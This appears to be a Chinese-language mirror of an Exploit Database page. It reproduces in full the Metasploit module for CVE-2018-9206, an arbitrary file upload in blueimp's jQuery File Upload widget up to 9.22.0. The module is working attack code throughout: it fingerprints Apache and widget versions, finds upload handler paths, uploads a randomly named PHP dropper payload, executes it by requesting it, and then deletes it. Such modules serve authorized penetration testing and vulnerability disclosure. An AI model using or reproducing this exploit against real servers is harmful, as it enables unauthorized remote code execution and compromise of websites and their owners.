blueimp’s jQuery 9.22.0 – (Arbitrary) File Upload (Metasploit)

• Exploit Database
• 16 阅读

• 作者： Metasploit
  日期： 2018-11-06
• 类别：

  • remote
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/45790/

• ##
  # This module requires Metasploit: https://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  class MetasploitModule < Msf::Exploit::Remote
  
  Rank = ExcellentRanking
  
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::PhpEXE
  
  def initialize(info = {})
  super(update_info(info,
  'Name' => "blueimp's jQuery (Arbitrary) File Upload",
  'Description'=> %q{
  This module exploits an arbitrary file upload in the sample PHP upload
  handler for blueimp's jQuery File Upload widget in versions <= 9.22.0.
  
  Due to a default configuration in Apache 2.3.9+, the widget's .htaccess
  file may be disabled, enabling exploitation of this vulnerability.
  
  This vulnerability has been exploited in the wild since at least 2015
  and was publicly disclosed to the vendor in 2018. It has been present
  since the .htaccess change in Apache 2.3.9.
  
  This module provides a generic exploit against the jQuery widget.
  },
  'Author' => [
  'Claudio Viviani', # WordPress Work the Flow (Arbitrary) File Upload
  'Larry W. Cashdollar', # (Re)discovery, vendor disclosure, and PoC
  'wvu'# Metasploit module
  ],
  'References' => [
  ['CVE', '2018-9206'],
  ['URL', 'http://www.vapidlabs.com/advisory.php?v=204'],
  ['URL', 'https://github.com/blueimp/jQuery-File-Upload/pull/3514'],
  ['URL', 'https://github.com/lcashdol/Exploits/tree/master/CVE-2018-9206'],
  ['URL', 'https://www.homelab.it/index.php/2015/04/04/wordpress-work-the-flow-file-upload-vulnerability/'],
  ['URL', 'https://github.com/rapid7/metasploit-framework/pull/5130'],
  ['URL', 'https://httpd.apache.org/docs/current/mod/core.html#allowoverride']
  ],
  'DisclosureDate' => 'Oct 9 2018', # Larry's disclosure to the vendor
  'License'=> MSF_LICENSE,
  'Platform' => ['php', 'linux'],
  'Arch' => [ARCH_PHP, ARCH_X86, ARCH_X64],
  'Privileged' => false,
  'Targets'=> [
  ['PHP Dropper', 'Platform' => 'php', 'Arch' => ARCH_PHP],
  ['Linux Dropper', 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64]]
  ],
  'DefaultTarget'=> 0
  ))
  
  register_options([
  OptString.new('TARGETURI', [true, 'Base path', '/jQuery-File-Upload'])
  ])
  end
  
  def version_paths
  %w[
  /package.json
  /bower.json
  ].map { |u| normalize_uri(target_uri.path, u) }
  end
  
  # List from PoC sorted by frequency
  def upload_paths
  %w[
  /server/php/index.php
  /server/php/upload.class.php
  /server/php/UploadHandler.php
  /example/upload.php
  /php/index.php
  ].map { |u| normalize_uri(target_uri.path, u) }
  end
  
  def check
  a = nil
  
  version_paths.each do |u|
  vprint_status("Checking #{u}")
  
  res = send_request_cgi(
  'method' => 'GET',
  'uri'=> u
  )
  
  next unless res
  
  unless a
  res.headers['Server'] =~ /Apache\/([\d.]+)/ &&
  $1 && (a = Gem::Version.new($1))
  
  if a && a >= Gem::Version.new('2.3.9')
  vprint_good("Found Apache #{a} (AllowOverride None may be set)")
  elsif a
  vprint_warning("Found Apache #{a} (AllowOverride All may be set)")
  end
  end
  
  next unless res.code == 200 && (j = res.get_json_document) &&
  j['version'] && (v = Gem::Version.new(j['version']))
  
  if v <= Gem::Version.new('9.22.0')
  vprint_good("Found unpatched jQuery File Upload #{v}")
  return CheckCode::Appears
  else
  vprint_error("Found patched jQuery File Upload #{v}")
  return CheckCode::Safe
  end
  end
  
  CheckCode::Unknown
  end
  
  def find_upload
  upload_paths.each do |u|
  vprint_status("Checking #{u}")
  
  res = send_request_cgi(
  'method' => 'GET',
  'uri'=> u
  )
  
  if res && res.code == 200
  vprint_good("Found #{u}")
  return u
  end
  end
  
  nil
  end
  
  def exploit
  unless check == CheckCode::Appears && (u = find_upload)
  fail_with(Failure::NotFound, 'Could not find target')
  end
  
  f = "#{rand_text_alphanumeric(8..42)}.php"
  p = normalize_uri(File.dirname(u), 'files', f)
  
  print_status('Uploading payload')
  res = upload_payload(u, f)
  
  unless res && res.code == 200 && res.body.include?(f)
  fail_with(Failure::NotVulnerable, 'Could not upload payload')
  end
  
  print_good("Payload uploaded: #{full_uri(p)}")
  
  print_status('Executing payload')
  exec_payload(p)
  
  print_status('Deleting payload')
  delete_payload(u, f)
  end
  
  def upload_payload(u, f)
  p = get_write_exec_payload(unlink_self: true)
  
  m = Rex::MIME::Message.new
  m.add_part(p, nil, nil, %(form-data; name="files[]"; filename="#{f}"))
  
  send_request_cgi(
  'method' => 'POST',
  'uri'=> u,
  'ctype'=> "multipart/form-data; boundary=#{m.bound}",
  'data' => m.to_s
  )
  end
  
  def exec_payload(p)
  send_request_cgi({
  'method' => 'GET',
  'uri'=> p
  }, 1)
  end
  
  def delete_payload(u, f)
  send_request_cgi(
  'method' => 'DELETE',
  'uri'=> u,
  'vars_get' => {'file' => f}
  )
  end
  
  end